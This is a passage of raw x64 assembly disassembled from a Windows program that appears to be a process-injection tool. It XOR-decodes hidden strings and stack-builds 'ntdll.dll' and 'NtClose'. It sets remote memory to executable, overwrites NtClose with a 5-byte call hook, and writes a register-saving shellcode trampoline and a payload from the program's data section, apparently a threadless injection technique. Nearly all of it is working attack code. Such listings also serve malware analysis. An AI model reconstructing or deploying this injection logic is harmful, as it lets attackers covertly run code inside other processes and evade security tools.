mov rcx, rax
call fcn.14002c010
lea rax, [rbp + 0x2870]
lea rdx, [rbp + 0x2890]
lea r8, [0x14007a367]
mov rcx, rax
call fcn.14002c010
lea rax, [rbp + 0x2850]
lea rdx, [rbp + 0x2870]
lea r8, [0x14007a3c3]
mov rcx, rax
call fcn.14002c010
lea rax, [rbp + 0x2830]
lea rdx, [rbp + 0x2850]
lea r8, [0x14007a3b1]
mov rcx, rax
call fcn.14002c010
lea rax, [rbp + 0x2810]
lea rdx, [rbp + 0x2830]
lea r8, [0x14007a3bb]
mov rcx, rax
call fcn.14002c010
lea rax, [rbp + 0x27f0]
lea rdx, [rbp + 0x2810]
lea r8, [0x14007a3ab]
mov rcx, rax
call fcn.14002c010
lea rax, [rbp + 0x27d0]
lea rdx, [rbp + 0x27f0]
lea r8, [0x14007a367]
mov rcx, rax
call fcn.14002c010
lea rax, [rbp + 0x27b0]
lea rdx, [rbp + 0x27d0]
lea r8, [0x14007a363]
mov rcx, rax
call fcn.14002c010
lea rax, [rbp + 0x2790]
lea rdx, [rbp + 0x27b0]
lea r8, [0x14007a35b]
mov rcx, rax
call fcn.14002c010
lea rax, [rbp + 0x2770]
lea rdx, [rbp + 0x2790]
lea r8, [0x14007a36b]
mov rcx, rax
call fcn.14002c010
lea rax, [rbp + 0x2750]
lea rdx, [rbp + 0x2770]
lea r8, [0x14007a361]
mov rcx, rax
call fcn.14002c010
lea rax, [rbp + 0x2730]
lea rdx, [rbp + 0x2750]
lea r8, [0x14007a3ad]
mov rcx, rax
call fcn.14002c010
lea rdx, [rbp + 0x2730]
lea rax, [rbp + 0x100]
mov rcx, rax
call fcn.14002b940
lea rax, [rbp + 0x2730]
mov rcx, rax
call fcn.14002b900
lea rax, [rbp + 0x2750]
mov rcx, rax
call fcn.14002b900
lea rax, [rbp + 0x2770]
mov rcx, rax
call fcn.14002b900
lea rax, [rbp + 0x2790]
mov rcx, rax
call fcn.14002b900
lea rax, [rbp + 0x27b0]
mov rcx, rax
call fcn.14002b900
lea rax, [rbp + 0x27d0]
mov rcx, rax
call fcn.14002b900
lea rax, [rbp + 0x27f0]
mov rcx, rax
call fcn.14002b900
lea rax, [rbp + 0x2810]
mov rcx, rax
call fcn.14002b900
lea rax, [rbp + 0x2830]
mov rcx, rax
call fcn.14002b900
lea rax, [rbp + 0x2850]
mov rcx, rax
call fcn.14002b900
lea rax, [rbp + 0x2870]
mov rcx, rax
call fcn.14002b900
lea rax, [rbp + 0x2890]
mov rcx, rax
call fcn.14002b900
lea rax, [rbp + 0x28b0]
mov rcx, rax
call fcn.14002b900
lea rax, [rbp + 0x28d0]
mov rcx, rax
call fcn.14002b900
lea rax, [rbp + 0x28f0]
mov rcx, rax
call fcn.14002b900
lea rax, [rbp + 0x2910]
mov rcx, rax
call fcn.14002b900
lea rax, [rbp + 0x2930]
mov rcx, rax
call fcn.14002b900
lea rax, [rbp + 0x2950]
mov rcx, rax
call fcn.14002b900
lea rax, [rbp + 0x297f]
mov rcx, rax
call fcn.140028140
nop
lea rdx, [rbp + 0x100]
lea rax, [rbp + 0x2980]
mov rcx, rax
call fcn.14002aca0
mov r9, qword [rbp + 0x2ec8]
mov r8, qword [rbp + 0x2ee8]
mov rdx, qword [rbp + 0x2ec0]
lea rax, [rbp + 0x2980]
mov rcx, qword [rbp + 0x2f00]
mov qword [rsp + 0x28], rcx
mov rcx, qword [rbp + 0x2fb0]
mov qword [rsp + 0x20], rcx
mov rcx, rax
call fcn.1400014dd
mov dword [rbp + 0x2ebc], eax
lea rax, [rbp + 0x2980]
mov rcx, rax
call fcn.14002b900
cmp dword [rbp + 0x2ebc], 0
je 0x1400078a4
lea rbx, [0x14007a377]
jmp 0x1400078ab
lea rbx, [0x14007a37c]
lea rax, [rbp + 0x100]
mov rcx, rax
call fcn.140023600
mov r8, rbx
mov rdx, rax
lea rax, str._s_Stub_Found:__s_n
mov rcx, rax
call fcn.140001450
lea rax, section..data
mov rcx, rax
call fcn.140001a37
mov rax, qword [0x140079000]
mov qword [rbp + 0x2eb0], rax
mov qword [rbp + 0x2ea8], 0
movabs rax, 0x6c642e6c6c64746e
mov qword [rbp + 0xee], rax
mov word [rbp + 0xf6], 0x6c
movabs rax, 0x65736f6c43744e
mov qword [rbp + 0xe6], rax
lea rax, [rbp + 0xee]
mov qword [rbp + 0x2ea0], rax
lea rax, [rbp + 0xe6]
mov qword [rbp + 0x2e98], rax
lea rax, [rbp + 0x29a0]
lea rdx, [rbp + 0x29df]
mov rcx, rax
call fcn.140001bc6
lea rax, [rbp + 0x29a0]
mov qword [rbp + 0x2df0], rax
mov rax, qword [rbp + 0x2df0]
mov qword [rbp + 0x2de8], rax
mov rax, qword [rbp + 0x2de8]
movzx eax, byte [rax + 0x33]
test al, al
setne al
test al, al
je 0x140007a15
mov rax, qword [rbp + 0x2df0]
mov rdx, qword [rbp + 0x2df0]
mov qword [rbp + 0x2de0], rdx
mov qword [rbp + 0x2dd8], rax
mov dword [rbp + 0x2dd4], 0
jmp 0x140007a0b
mov eax, dword [rbp + 0x2dd4]
cdqe
mov rdx, qword [rbp + 0x2dd8]
add rax, rdx
movzx r8d, byte [rax]
mov edx, dword [rbp + 0x2dd4]
movsxd rax, edx
imul rax, rax, 0x4bda12f7
shr rax, 0x20
sar eax, 4
mov ecx, edx
sar ecx, 0x1f
sub eax, ecx
imul ecx, eax, 0x36
mov eax, edx
sub eax, ecx
add eax, 0x30
xor eax, r8d
mov rcx, qword [rbp + 0x2de0]
mov edx, dword [rbp + 0x2dd4]
movsxd rdx, edx
mov byte [rcx + rdx], al
add dword [rbp + 0x2dd4], 1
cmp dword [rbp + 0x2dd4], 0x33
jle 0x1400079b0
nop
lea rax, [rbp + 0x29a0]
mov rcx, qword [rbp + 0x2e98]
mov rdx, qword [rbp + 0x2ea0]
mov r8, rcx
mov rcx, rax
call fcn.140001450
movabs rax, 0x52515005e8834858
mov qword [rbp + 0xa0], rax
movabs rax, 0x5341524151415041
mov qword [rbp + 0xa8], rax
movabs rax, 0x334455667788b948
mov qword [rbp + 0xb0], rax
movabs rax, 0xec83480889481122
mov qword [rbp + 0xb8], rax
movabs rax, 0x834800000011e840
mov qword [rbp + 0xc0], rax
movabs rax, 0x59415a415b4140c4
mov qword [rbp + 0xc8], rax
movabs rax, 0x90e0ff58595a5841
mov qword [rbp + 0xd0], rax
mov rax, qword [rbp + 0x2ea0]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov qword [rbp + 0x2e90], rax
cmp qword [rbp + 0x2e90], 0
jne 0x140007bcb
lea rax, [rbp + 0x29e0]
lea rdx, [rbp + 0x2a0f]
mov rcx, rax
call fcn.140001d78
lea rax, [rbp + 0x29e0]
mov qword [rbp + 0x2dc8], rax
mov rax, qword [rbp + 0x2dc8]
mov qword [rbp + 0x2dc0], rax
mov rax, qword [rbp + 0x2dc0]
movzx eax, byte [rax + 0x23]
test al, al
setne al
test al, al
je 0x140007bab
mov rax, qword [rbp + 0x2dc8]
mov rdx, qword [rbp + 0x2dc8]
mov qword [rbp + 0x2db8], rdx
mov qword [rbp + 0x2db0], rax
mov dword [rbp + 0x2dac], 0
jmp 0x140007ba1
mov eax, dword [rbp + 0x2dac]
cdqe
mov rdx, qword [rbp + 0x2db0]
add rax, rdx
movzx r8d, byte [rax]
mov edx, dword [rbp + 0x2dac]
movsxd rax, edx
imul rax, rax, 0x4bda12f7
shr rax, 0x20
sar eax, 4
mov ecx, edx
sar ecx, 0x1f
sub eax, ecx
imul ecx, eax, 0x36
mov eax, edx
sub eax, ecx
add eax, 0x30
xor eax, r8d
mov rcx, qword [rbp + 0x2db8]
mov edx, dword [rbp + 0x2dac]
movsxd rdx, edx
mov byte [rcx + rdx], al
add dword [rbp + 0x2dac], 1
cmp dword [rbp + 0x2dac], 0x23
jle 0x140007b46
nop
lea rax, [rbp + 0x29e0]
mov rdx, qword [rbp + 0x2ea0]
mov rcx, rax
call fcn.140001450
mov ebx, 1
jmp 0x1400088db
mov rdx, qword [rbp + 0x2e98]
mov rax, qword [rbp + 0x2e90]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x2e88], rax
cmp qword [rbp + 0x2e88], 0
jne 0x140007cfb
lea rax, [rbp + 0x2a10]
lea rdx, [rbp + 0x2a40]
mov rcx, rax
call fcn.140001eaa
lea rax, [rbp + 0x2a10]
mov qword [rbp + 0x2da0], rax
mov rax, qword [rbp + 0x2da0]
mov qword [rbp + 0x2d98], rax
mov rax, qword [rbp + 0x2d98]
movzx eax, byte [rax + 0x26]
test al, al
setne al
test al, al
je 0x140007cd1
mov rax, qword [rbp + 0x2da0]
mov rdx, qword [rbp + 0x2da0]
mov qword [rbp + 0x2d90], rdx
mov qword [rbp + 0x2d88], rax
mov dword [rbp + 0x2d84], 0
jmp 0x140007cc7
mov eax, dword [rbp + 0x2d84]
cdqe
mov rdx, qword [rbp + 0x2d88]
add rax, rdx
movzx r8d, byte [rax]
mov edx, dword [rbp + 0x2d84]
movsxd rax, edx
imul rax, rax, 0x4bda12f7
shr rax, 0x20
sar eax, 4
mov ecx, edx
sar ecx, 0x1f
sub eax, ecx
imul ecx, eax, 0x36
mov eax, edx
sub eax, ecx
add eax, 0x30
xor eax, r8d
mov rcx, qword [rbp + 0x2d90]
mov edx, dword [rbp + 0x2d84]
movsxd rdx, edx
mov byte [rcx + rdx], al
add dword [rbp + 0x2d84], 1
cmp dword [rbp + 0x2d84], 0x26
jle 0x140007c6c
nop
lea rax, [rbp + 0x2a10]
mov rcx, qword [rbp + 0x2e98]
mov rdx, qword [rbp + 0x2ea0]
mov r8, rcx
mov rcx, rax
call fcn.140001450
mov ebx, 1
jmp 0x1400088db
lea rax, [rbp + 0x2a41]
lea rdx, [rbp + 0x2a4e]
mov rcx, rax
call fcn.140001ff4
lea rax, [rbp + 0x2a41]
mov qword [rbp + 0x2d78], rax
mov rax, qword [rbp + 0x2d78]
mov qword [rbp + 0x2d70], rax
mov rax, qword [rbp + 0x2d70]
movzx eax, byte [rax + 0xc]
test al, al
setne al
test al, al
je 0x140007dd2
mov rax, qword [rbp + 0x2d78]
mov rdx, qword [rbp + 0x2d78]
mov qword [rbp + 0x2d68], rdx
mov qword [rbp + 0x2d60], rax
mov dword [rbp + 0x2d5c], 0
jmp 0x140007dc8
mov eax, dword [rbp + 0x2d5c]
cdqe
mov rdx, qword [rbp + 0x2d60]
add rax, rdx
movzx r8d, byte [rax]
mov edx, dword [rbp + 0x2d5c]
movsxd rax, edx
imul rax, rax, 0x4bda12f7
shr rax, 0x20
sar eax, 4
mov ecx, edx
sar ecx, 0x1f
sub eax, ecx
imul ecx, eax, 0x36
mov eax, edx
sub eax, ecx
add eax, 0x30
xor eax, r8d
mov rcx, qword [rbp + 0x2d68]
mov edx, dword [rbp + 0x2d5c]
movsxd rdx, edx
mov byte [rcx + rdx], al
add dword [rbp + 0x2d5c], 1
cmp dword [rbp + 0x2d5c], 0xc
jle 0x140007d6d
nop
lea rax, [rbp + 0x2a41]
mov rcx, rax
call fcn.140001613
mov qword [rbp + 0x2fa0], rax
mov rax, qword [rbp + 0x2eb0]
lea rcx, [rax + 0x38]
mov rdx, qword [rbp + 0x2e88]
mov rax, qword [rbp + 0x2fa0]
mov r8, rcx
mov rcx, rax
call fcn.1400017e8
mov qword [rbp + 0x98], rax
mov rax, qword [rbp + 0x98]
test rax, rax
jne 0x140007eba
lea rax, [rbp + 0x2a50]
lea rdx, [rbp + 0x2a4f]
mov rcx, rax
call fcn.14000206e
mov rax, qword [rbp + 0x2a50]
mov qword [rbp + 0x20], rax
mov rax, qword [rbp + 0x2a58]
mov qword [rbp + 0x28], rax
mov rax, qword [rbp + 0x2a60]
mov qword [rbp + 0x30], rax
mov rax, qword [rbp + 0x2a68]
mov qword [rbp + 0x38], rax
mov rax, qword [rbp + 0x2a70]
mov qword [rbp + 0x40], rax
mov rax, qword [rbp + 0x2a78]
mov qword [rbp + 0x48], rax
mov rax, qword [rbp + 0x2a80]
mov qword [rbp + 0x50], rax
movzx eax, byte [rbp + 0x2a88]
mov byte [rbp + 0x58], al
lea rax, [rbp + 0x20]
mov rcx, rax
call fcn.140020270
mov rdx, qword [0x140085078]
mov rax, qword [rbp + 0x2fa0]
mov rcx, rax
call rdx
mov qword [rbp + 0x2fa0], 0
mov qword [rbp + 0x90], 0
mov dword [rbp + 0x2f9c], 0
jmp 0x140007f04
mov eax, dword [rbp + 0x2f9c]
cdqe
mov rdx, qword [rbp + 0x2e88]
add rax, rdx
mov rcx, rax
mov eax, dword [rbp + 0x2f9c]
cdqe
lea rdx, [rbp + 0x90]
add rdx, rax
movzx eax, byte [rcx]
mov byte [rdx], al
add dword [rbp + 0x2f9c], 1
cmp dword [rbp + 0x2f9c], 7
jle 0x140007ed1
mov rcx, qword [rbp + 0x90]
lea rax, [rbp + 0xa0]
mov rdx, rax
call fcn.14000179c
mov qword [rbp + 0x88], 8
mov dword [rbp + 0x84], 0
mov rax, qword [rbp + 0x2e88]
mov qword [rbp + 0x78], rax
mov r10, qword [0x140085048]
lea r8, [rbp + 0x88]
lea rax, [rbp + 0x78]
mov rcx, qword [rbp + 0x2fa0]
lea rdx, [rbp + 0x84]
mov qword [rsp + 0x20], rdx
mov r9d, 0x40
mov rdx, rax
call r10
mov dword [rbp + 0x2e84], eax
cmp dword [rbp + 0x2e84], 0
je 0x14000809b
mov rbx, qword [rbp + 0x78]
lea rax, [rbp + 0x2a90]
lea rdx, [rbp + 0x2acf]
mov rcx, rax
call fcn.140002248
lea rax, [rbp + 0x2a90]
mov qword [rbp + 0x2d50], rax
mov rax, qword [rbp + 0x2d50]
mov qword [rbp + 0x2d48], rax
mov rax, qword [rbp + 0x2d48]
movzx eax, byte [rax + 0x3a]
test al, al
setne al
test al, al
je 0x140008062
mov rax, qword [rbp + 0x2d50]
mov rdx, qword [rbp + 0x2d50]
mov qword [rbp + 0x2d40], rdx
mov qword [rbp + 0x2d38], rax
mov dword [rbp + 0x2d34], 0
jmp 0x140008058
mov eax, dword [rbp + 0x2d34]
cdqe
mov rdx, qword [rbp + 0x2d38]
add rax, rdx
movzx r8d, byte [rax]
mov edx, dword [rbp + 0x2d34]
movsxd rax, edx
imul rax, rax, 0x4bda12f7
shr rax, 0x20
sar eax, 4
mov ecx, edx
sar ecx, 0x1f
sub eax, ecx
imul ecx, eax, 0x36
mov eax, edx
sub eax, ecx
add eax, 0x30
xor eax, r8d
mov rcx, qword [rbp + 0x2d40]
mov edx, dword [rbp + 0x2d34]
movsxd rdx, edx
mov byte [rcx + rdx], al
add dword [rbp + 0x2d34], 1
cmp dword [rbp + 0x2d34], 0x3a
jle 0x140007ffd
nop
lea rax, [rbp + 0x2a90]
mov edx, dword [rbp + 0x2e84]
mov r8d, edx
mov rdx, rbx
mov rcx, rax
call fcn.140001450
mov rdx, qword [0x140085078]
mov rax, qword [rbp + 0x2fa0]
mov rcx, rax
call rdx
mov qword [rbp + 0x2fa0], 0
mov rax, qword [rbp + 0x98]
sub rax, qword [rbp + 0x2e88]
sub rax, 5
mov qword [rbp + 0x70], rax
mov dword [rbp + 0x6b], 0xe8
mov byte [rbp + 0x6f], 0
mov dword [rbp + 0x2f98], 0
jmp 0x1400080f1
mov eax, dword [rbp + 0x2f98]
cdqe
lea rdx, [rbp + 0x70]
add rax, rdx
mov edx, dword [rbp + 0x2f98]
add edx, 1
movzx eax, byte [rax]
movsxd rdx, edx
mov byte [rbp + rdx + 0x6b], al
add dword [rbp + 0x2f98], 1
cmp dword [rbp + 0x2f98], 3
jle 0x1400080c8
mov rax, qword [rbp + 0x2e88]
mov qword [rbp + 0x78], rax
mov r10, qword [0x140085040]
mov rax, qword [rbp + 0x78]
mov r11, rax
lea rcx, [rbp + 0x6b]
mov rax, qword [rbp + 0x2fa0]
lea rdx, [rbp + 0xf8]
mov qword [rsp + 0x20], rdx
mov r9d, 5
mov r8, rcx
mov rdx, r11
mov rcx, rax
call r10
mov dword [rbp + 0x2e84], eax
cmp dword [rbp + 0x2e84], 0
jne 0x14000815c
mov rax, qword [rbp + 0xf8]
cmp rax, 5
je 0x140008270
lea rax, [rbp + 0x2ad0]
lea rdx, [rbp + 0x2b0f]
mov rcx, rax
call fcn.140002432
lea rax, [rbp + 0x2ad0]
mov qword [rbp + 0x2d28], rax
mov rax, qword [rbp + 0x2d28]
mov qword [rbp + 0x2d20], rax
mov rax, qword [rbp + 0x2d20]
movzx eax, byte [rax + 0x34]
test al, al
setne al
test al, al
je 0x140008233
mov rax, qword [rbp + 0x2d28]
mov rdx, qword [rbp + 0x2d28]
mov qword [rbp + 0x2d18], rdx
mov qword [rbp + 0x2d10], rax
mov dword [rbp + 0x2d0c], 0
jmp 0x140008229
mov eax, dword [rbp + 0x2d0c]
cdqe
mov rdx, qword [rbp + 0x2d10]
add rax, rdx
movzx r8d, byte [rax]
mov edx, dword [rbp + 0x2d0c]
movsxd rax, edx
imul rax, rax, 0x4bda12f7
shr rax, 0x20
sar eax, 4
mov ecx, edx
sar ecx, 0x1f
sub eax, ecx
imul ecx, eax, 0x36
mov eax, edx
sub eax, ecx
add eax, 0x30
xor eax, r8d
mov rcx, qword [rbp + 0x2d18]
mov edx, dword [rbp + 0x2d0c]
movsxd rdx, edx
mov byte [rcx + rdx], al
add dword [rbp + 0x2d0c], 1
cmp dword [rbp + 0x2d0c], 0x34
jle 0x1400081ce
nop
lea rax, [rbp + 0x2ad0]
mov ecx, dword [rbp + 0x2e84]
mov rdx, qword [rbp + 0x2e88]
mov r8d, ecx
mov rcx, rax
call fcn.140001450
mov rdx, qword [0x140085078]
mov rax, qword [rbp + 0x2fa0]
mov rcx, rax
call rdx
mov qword [rbp + 0x2fa0], 0
mov rax, qword [rbp + 0x2eb0]
add rax, 0x38
mov qword [rbp + 0x88], rax
mov r10, qword [0x140085048]
lea r8, [rbp + 0x88]
lea rax, [rbp + 0x98]
mov rcx, qword [rbp + 0x2fa0]
lea rdx, [rbp + 0x84]
mov qword [rsp + 0x20], rdx
mov r9d, 4
mov rdx, rax
call r10
mov dword [rbp + 0x2e84], eax
cmp dword [rbp + 0x2e84], 0
je 0x1400083e0
mov rbx, qword [rbp + 0x98]
lea rax, [rbp + 0x2b10]
lea rdx, [rbp + 0x2b4f]
mov rcx, rax
call fcn.1400025ec
lea rax, [rbp + 0x2b10]
mov qword [rbp + 0x2d00], rax
mov rax, qword [rbp + 0x2d00]
mov qword [rbp + 0x2cf8], rax
mov rax, qword [rbp + 0x2cf8]
movzx eax, byte [rax + 0x3a]
test al, al
setne al
test al, al
je 0x1400083a7
mov rax, qword [rbp + 0x2d00]
mov rdx, qword [rbp + 0x2d00]
mov qword [rbp + 0x2cf0], rdx
mov qword [rbp + 0x2ce8], rax
mov dword [rbp + 0x2ce4], 0
jmp 0x14000839d
mov eax, dword [rbp + 0x2ce4]
cdqe
mov rdx, qword [rbp + 0x2ce8]
add rax, rdx
movzx r8d, byte [rax]
mov edx, dword [rbp + 0x2ce4]
movsxd rax, edx
imul rax, rax, 0x4bda12f7
shr rax, 0x20
sar eax, 4
mov ecx, edx
sar ecx, 0x1f
sub eax, ecx
imul ecx, eax, 0x36
mov eax, edx
sub eax, ecx
add eax, 0x30
xor eax, r8d
mov rcx, qword [rbp + 0x2cf0]
mov edx, dword [rbp + 0x2ce4]
movsxd rdx, edx
mov byte [rcx + rdx], al
add dword [rbp + 0x2ce4], 1
cmp dword [rbp + 0x2ce4], 0x3a
jle 0x140008342
nop
lea rax, [rbp + 0x2b10]
mov edx, dword [rbp + 0x2e84]
mov r8d, edx
mov rdx, rbx
mov rcx, rax
call fcn.140001450
mov rdx, qword [0x140085078]
mov rax, qword [rbp + 0x2fa0]
mov rcx, rax
call rdx
mov qword [rbp + 0x2fa0], 0
mov r10, qword [0x140085040]
mov rax, qword [rbp + 0x98]
mov r11, rax
lea rcx, [rbp + 0xa0]
mov rax, qword [rbp + 0x2fa0]
lea rdx, [rbp + 0xf8]
mov qword [rsp + 0x20], rdx
mov r9d, 0x38
mov r8, rcx
mov rdx, r11
mov rcx, rax
call r10
mov dword [rbp + 0x2e84], eax
cmp dword [rbp + 0x2e84], 0
jne 0x14000843d
mov rax, qword [rbp + 0xf8]
cmp rax, 0x38
je 0x140008554
mov rbx, qword [rbp + 0x98]
lea rax, [rbp + 0x2b50]
lea rdx, [rbp + 0x2b8f]
mov rcx, rax
call fcn.1400027d6
lea rax, [rbp + 0x2b50]
mov qword [rbp + 0x2cd8], rax
mov rax, qword [rbp + 0x2cd8]
mov qword [rbp + 0x2cd0], rax
mov rax, qword [rbp + 0x2cd0]
movzx eax, byte [rax + 0x34]
test al, al
setne al
test al, al
je 0x14000851b
mov rax, qword [rbp + 0x2cd8]
mov rdx, qword [rbp + 0x2cd8]
mov qword [rbp + 0x2cc8], rdx
mov qword [rbp + 0x2cc0], rax
mov dword [rbp + 0x2cbc], 0
jmp 0x140008511
mov eax, dword [rbp + 0x2cbc]
cdqe
mov rdx, qword [rbp + 0x2cc0]
add rax, rdx
movzx r8d, byte [rax]
mov edx, dword [rbp + 0x2cbc]
movsxd rax, edx
imul rax, rax, 0x4bda12f7
shr rax, 0x20
sar eax, 4
mov ecx, edx
sar ecx, 0x1f
sub eax, ecx
imul ecx, eax, 0x36
mov eax, edx
sub eax, ecx
add eax, 0x30
xor eax, r8d
mov rcx, qword [rbp + 0x2cc8]
mov edx, dword [rbp + 0x2cbc]
movsxd rdx, edx
mov byte [rcx + rdx], al
add dword [rbp + 0x2cbc], 1
cmp dword [rbp + 0x2cbc], 0x34
jle 0x1400084b6
nop
lea rax, [rbp + 0x2b50]
mov edx, dword [rbp + 0x2e84]
mov r8d, edx
mov rdx, rbx
mov rcx, rax
call fcn.140001450
mov rdx, qword [0x140085078]
mov rax, qword [rbp + 0x2fa0]
mov rcx, rax
call rdx
mov qword [rbp + 0x2fa0], 0
mov r10, qword [0x140085040]
mov rcx, qword [0x140085030]
mov rax, qword [rbp + 0x98]
add rax, 0x38
mov r11, rax
mov r8, qword [rbp + 0x2eb0]
mov rax, qword [rbp + 0x2fa0]
lea rdx, [rbp + 0xf8]
mov qword [rsp + 0x20], rdx
mov r9, r8
mov r8, rcx
mov rdx, r11
mov rcx, rax
call r10
mov dword [rbp + 0x2e84], eax
cmp dword [rbp + 0x2e84], 0
jne 0x1400085bc
mov rax, qword [rbp + 0xf8]
cmp qword [rbp + 0x2eb0], rax
je 0x1400086de
mov rdx, qword [rbp + 0x98]
mov rax, qword [rbp + 0x2eb0]
lea rbx, [rdx + rax]
lea rax, [rbp + 0x2b90]
lea rdx, [rbp + 0x2bcf]
mov rcx, rax
call fcn.140002990
lea rax, [rbp + 0x2b90]
mov qword [rbp + 0x2cb0], rax
mov rax, qword [rbp + 0x2cb0]
mov qword [rbp + 0x2ca8], rax
mov rax, qword [rbp + 0x2ca8]
movzx eax, byte [rax + 0x30]
test al, al
setne al
test al, al
je 0x1400086a5
mov rax, qword [rbp + 0x2cb0]
mov rdx, qword [rbp + 0x2cb0]
mov qword [rbp + 0x2ca0], rdx
mov qword [rbp + 0x2c98], rax
mov dword [rbp + 0x2c94], 0
jmp 0x14000869b
mov eax, dword [rbp + 0x2c94]
cdqe
mov rdx, qword [rbp + 0x2c98]
add rax, rdx
movzx r8d, byte [rax]
mov edx, dword [rbp + 0x2c94]
movsxd rax, edx
imul rax, rax, 0x4bda12f7
shr rax, 0x20
sar eax, 4
mov ecx, edx
sar ecx, 0x1f
sub eax, ecx
imul ecx, eax, 0x36
mov eax, edx
sub eax, ecx
add eax, 0x30
xor eax, r8d
mov rcx, qword [rbp + 0x2ca0]
mov edx, dword [rbp + 0x2c94]
movsxd rdx, edx
mov byte [rcx + rdx], al
add dword [rbp + 0x2c94], 1
cmp dword [rbp + 0x2c94], 0x30
jle 0x140008640
nop
lea rax, [rbp + 0x2b90]
mov edx, dword [rbp + 0x2e84]
mov r8d, edx
mov rdx, rbx
mov rcx, rax
call fcn.140001450
mov rdx, qword [0x140085078]
mov rax, qword [rbp + 0x2fa0]
mov rcx, rax
call rdx
mov qword [rbp + 0x2fa0], 0
mov r10, qword [0x140085048]
mov r9d, dword [rbp + 0x84]
lea r8, [rbp + 0x88]
lea rax, [rbp + 0x98]
mov rcx, qword [rbp + 0x2fa0]
lea rdx, [rbp + 0x84]
mov qword [rsp + 0x20], rdx
mov rdx, rax
call r10
mov dword [rbp + 0x2e84], eax
cmp dword [rbp + 0x2e84], 0
je 0x14000883d
mov rbx, qword [rbp + 0x98]
lea rax, [rbp + 0x2bd0]
lea rdx, [rbp + 0x2c0e]
mov rcx, rax
call fcn.140002b2a
lea rax, [rbp + 0x2bd0]
mov qword [rbp + 0x2c88], rax
mov rax, qword [rbp + 0x2c88]
mov qword [rbp + 0x2c80], rax
mov rax, qword [rbp + 0x2c80]
movzx eax, byte [rax + 0x3a]
test al, al
setne al
test al, al
je 0x140008804
mov rax, qword [rbp + 0x2c88]
mov rdx, qword [rbp + 0x2c88]
mov qword [rbp + 0x2c78], rdx
mov qword [rbp + 0x2c70], rax
mov dword [rbp + 0x2c6c], 0
jmp 0x1400087fa
mov eax, dword [rbp + 0x2c6c]
cdqe
mov rdx, qword [rbp + 0x2c70]
add rax, rdx
movzx r8d, byte [rax]
mov edx, dword [rbp + 0x2c6c]
movsxd rax, edx
imul rax, rax, 0x4bda12f7
shr rax, 0x20
sar eax, 4
mov ecx, edx
sar ecx, 0x1f
sub eax, ecx
imul ecx, eax, 0x36
mov eax, edx
sub eax, ecx
add eax, 0x30
xor eax, r8d
mov rcx, qword [rbp + 0x2c78]
mov edx, dword [rbp + 0x2c6c]
movsxd rdx, edx
mov byte [rcx + rdx], al
add dword [rbp + 0x2c6c], 1
cmp dword [rbp + 0x2c6c], 0x3a
jle 0x14000879f
nop
lea rax, [rbp + 0x2bd0]
mov edx, dword [rbp + 0x2e84]
mov r8d, edx
mov rdx, rbx
mov rcx, rax
call fcn.140001450
mov rdx, qword [0x140085078]
mov rax, qword [rbp + 0x2fa0]
mov rcx, rax
call rdx
mov qword [rbp + 0x2fa0], 0
lea rax, [rbp + 0x2c10]
lea rdx, [rbp + 0x2c0f]
mov rcx, rax
call fcn.140002d14
mov rax, qword [rbp + 0x2c10]
mov qword [rbp - 0x40], rax
mov rax, qword [rbp + 0x2c18]
mov qword [rbp - 0x38], rax
mov rax, qword [rbp + 0x2c20]
mov qword [rbp - 0x30], rax
mov rax, qword [rbp + 0x2c28]
mov qword [rbp - 0x28], rax
mov rax, qword [rbp + 0x2c30]
mov qword [rbp - 0x20], rax
mov rax, qword [rbp + 0x2c38]
mov qword [rbp - 0x18], rax
mov rax, qword [rbp + 0x2c40]
mov qword [rbp - 0x10], rax
mov rax, qword [rbp + 0x2c48]
mov qword [rbp - 8], rax
mov rax, qword [rbp + 0x2c50]
mov qword [rbp], rax
mov rax, qword [rbp + 0x2c58]
mov qword [rbp + 8], rax
mov eax, dword [rbp + 0x2c60]
mov dword [rbp + 0x10], eax
lea rax, [rbp - 0x40]
mov rcx, rax
call fcn.140020350
mov ebx, 0
lea rax, [rbp + 0x100]
mov rcx, rax
call fcn.14002b900
mov eax, ebx
jmp 0x14000a09d
add rsp, 0x3048
pop rbx
pop rbp
ret